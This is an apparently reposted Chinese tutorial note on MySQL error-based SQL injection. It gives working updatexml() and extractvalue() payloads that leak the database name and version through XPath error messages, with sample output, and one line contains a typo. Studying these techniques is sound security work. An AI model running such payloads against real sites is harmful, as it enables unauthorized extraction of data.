标签:articles 函数 extractvalue 0x7e concat updatexml where id select
updatexml()函数报错注入
理解就是updatexml函数有查询功能 并且会再xpath处查询。使用语法构造错误 查询的结果已报错的形式显示
-----
select * from articles where id = 1 查找 articles表中id=1的内容
可以省略成 select
-----
报出当前数据库的数据
select * from articles where id = 1 and updatexm1(2, database(),1) ;
报出当前数据库名称
select * from articles where id = 1 and updatexml(2,concat(0x3c, database(), 0x3c),1);
<cms<
0x3c 16进制字符
select * from articles where id = 1 and updatexml(2,concat(0x7e, database(),0x7e),1);
~cms~
2、1 的文档文件名没有会报错。两个的位置随便替换、或者都是1、2。任意值即可
concat(str1, str2,...) 返回结果是 参数拼接成字符串,没有参数为null,则返回值为null
里面当成sql语句执行从而报出信息.
查询数据库版本
select * from articles where id = 1 and updatexml(2,concat(0x7e, @@version,0x7e),1);
0x7e是链接符号~
只有一个链接字符
select * from articles where id = 1 and updatexml(2,concat(0x7e, @@version),1);
没有也行,就是报错不太准确
select * from articles where id = 1 and updatexml(2,concat( @@version),1);
extractvalue函数报错注入
参数:
1 文档名称
0x7e 16进制字符
concat 参数拼接成字符串,里面的sql也会执行
select * from articles where id = 1 and extractvalue(2,concat(0x7e,@@version,0x7e));
select * from articles where id = 1 and extractvalue(2111111, concat(0x7e, @@version,0x7e));
select * from articles where id = 1 and extractvalue(2111111, concat(0x7e,database(),0x7e));
文档参考
https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
标签:articles,函数,extractvalue,0x7e,concat,updatexml,where,id,select 来源: https://www.cnblogs.com/cpcpn/p/15354362.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。